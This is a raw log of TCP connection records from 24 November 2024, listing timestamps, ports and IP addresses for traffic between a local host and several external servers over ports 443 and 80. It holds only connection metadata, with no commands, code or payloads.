Nov 24, 2024 23:24:19.480313063 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:20.752286911 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:20.752356052 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:20.755556107 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:20.755563021 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:20.755842924 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:20.794795036 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:20.834182024 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:20.834220886 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:20.834281921 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:20.834657907 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:20.834676981 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:20.839339972 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:20.898303032 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:20.898492098 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:21.021785021 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:21.023309946 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.067326069 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.141633034 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:21.163019896 CET	49712	443	192.168.2.5	142.250.181.68
Nov 24, 2024 23:24:21.283034086 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.283109903 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.283168077 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.283417940 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.283427954 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.283438921 CET	49725	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.283444881 CET	443	49725	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.353265047 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.353286028 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.353347063 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.353806973 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:21.353820086 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:21.645195961 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645231009 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645237923 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645252943 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645282984 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.645309925 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645359039 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.645370960 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.645370960 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.645401955 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.664233923 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.664297104 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.664305925 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.664320946 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:21.664377928 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:21.963877916 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:21.964648962 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:22.612365961 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:22.612477064 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:22.645575047 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:22.645622015 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:22.645908117 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:22.662664890 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:22.703342915 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:22.741772890 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:22.741842985 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:22.743983984 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:22.744008064 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:22.744262934 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:22.746073961 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:22.787333965 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:22.997837067 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:22.997853041 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:22.997863054 CET	49716	443	192.168.2.5	172.202.163.200
Nov 24, 2024 23:24:22.997869015 CET	443	49716	172.202.163.200	192.168.2.5
Nov 24, 2024 23:24:23.096247911 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.096283913 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.096298933 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.096357107 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.096395969 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.096442938 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.096467018 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.264336109 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:23.264399052 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:23.264939070 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:23.276742935 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.276771069 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.276810884 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.276835918 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.276874065 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.276896000 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.318799973 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.318831921 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.318892956 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.318914890 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.318953037 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.318970919 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.451010942 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.451034069 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.451086044 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.451102972 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.451133966 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.451153994 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.476982117 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:23.477019072 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:23.477039099 CET	49730	443	192.168.2.5	23.218.208.109
Nov 24, 2024 23:24:23.477046013 CET	443	49730	23.218.208.109	192.168.2.5
Nov 24, 2024 23:24:23.481583118 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.481601954 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.481688023 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.481707096 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.481761932 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.502228022 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.502245903 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.502327919 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.502343893 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.502398968 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.524547100 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.524566889 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.524605989 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.524625063 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.524672031 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.524692059 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.644164085 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.644186974 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.644278049 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.644294977 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.644498110 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.657480001 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.657502890 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.657597065 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.657612085 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.657684088 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.672364950 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.672383070 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.672451019 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.672465086 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.672497988 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.672513962 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.687185049 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.687205076 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.687294960 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.687309980 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.687376976 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.700155020 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.700174093 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.700303078 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.700318098 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.700457096 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.716021061 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.716048002 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.716104984 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.716119051 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.716145992 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.716162920 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.720274925 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.720359087 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.720356941 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.720412016 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.750185966 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.750226974 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:23.750256062 CET	49728	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:23.750272036 CET	443	49728	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.902622938 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.902666092 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.902843952 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.926630020 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.926645994 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.936750889 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.936773062 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.936836004 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.937213898 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.937227011 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.963325024 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.963362932 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.963524103 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.968877077 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.968890905 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.968951941 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.972803116 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.972824097 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.974709034 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.974725008 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.974800110 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.975102901 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.975117922 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:24.975699902 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:24.975740910 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:24.975810051 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:24.978383064 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:24.978394032 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:25.017267942 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:25.017301083 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.687804937 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:26.687829971 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:26.687953949 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:26.689766884 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:26.689781904 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:26.733140945 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.736275911 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.736301899 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.746689081 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.746695042 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.755491018 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.756154060 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.756172895 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.756573915 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.756580114 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.787216902 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.787853956 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.787877083 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.788419008 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.788424015 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.800996065 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.801559925 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.801575899 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.802114964 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.802119970 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.829973936 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.830250025 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:26.830277920 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.831320047 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.831408978 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:26.832767963 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:26.832845926 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.833549976 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:26.833566904 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:26.840464115 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.841048002 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.841070890 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.844275951 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:26.844281912 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:26.945179939 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:26.969202995 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:26.969317913 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:27.168158054 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.168234110 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.168298006 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.177465916 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.177474022 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.177501917 CET	49743	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.177506924 CET	443	49743	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.211882114 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.211921930 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.212039948 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.212049961 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.212182999 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.218096018 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.218178034 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.218302011 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.234533072 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.234560013 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.234620094 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.234637022 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.238835096 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.238889933 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.247513056 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.247513056 CET	49740	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.247524977 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.247539043 CET	443	49740	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.259459972 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.259484053 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.259537935 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.259546041 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.259588003 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.262953997 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.263014078 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.263187885 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.270528078 CET	49744	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.270536900 CET	443	49744	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.293818951 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.293891907 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.293937922 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.319852114 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.319864988 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.319900036 CET	49741	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.319905043 CET	443	49741	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.338242054 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:27.338438988 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:27.338774920 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:27.376121044 CET	49742	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.376140118 CET	443	49742	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.518910885 CET	49745	443	192.168.2.5	94.245.104.56
Nov 24, 2024 23:24:27.518938065 CET	443	49745	94.245.104.56	192.168.2.5
Nov 24, 2024 23:24:27.527565956 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.527607918 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.527771950 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.586337090 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.586374044 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.605318069 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.605334997 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.605412960 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.606224060 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.606239080 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.707948923 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.707964897 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.708091974 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.709543943 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.709594011 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.709742069 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.710306883 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.710344076 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.710412025 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.814351082 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.814369917 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.814466000 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.814507008 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.814796925 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:27.814835072 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:27.867192984 CET	49723	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:27.868674040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:27.986624002 CET	80	49723	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:27.988187075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:27.988349915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:27.988677979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:27.988843918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:28.002015114 CET	49761	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:28.002046108 CET	443	49761	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:28.002211094 CET	49761	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:28.002448082 CET	49761	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:28.002469063 CET	443	49761	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:28.108205080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:28.108421087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:28.108506918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:28.108535051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:28.549043894 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:28.549122095 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:28.939261913 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:28.939342976 CET	443	49765	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:28.939668894 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:28.940469027 CET	49766	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:28.940512896 CET	443	49766	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:28.940573931 CET	49766	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:28.941672087 CET	49765	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:28.941720963 CET	443	49765	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:28.942127943 CET	49766	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:28.942146063 CET	443	49766	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:28.998097897 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:28.998123884 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:28.998439074 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.003680944 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.003715038 CET	49747	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:29.003760099 CET	443	49747	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:29.130542994 CET	49768	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.130589962 CET	443	49768	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:29.130959034 CET	49768	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.132088900 CET	49768	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:29.132102966 CET	443	49768	162.159.61.3	192.168.2.5
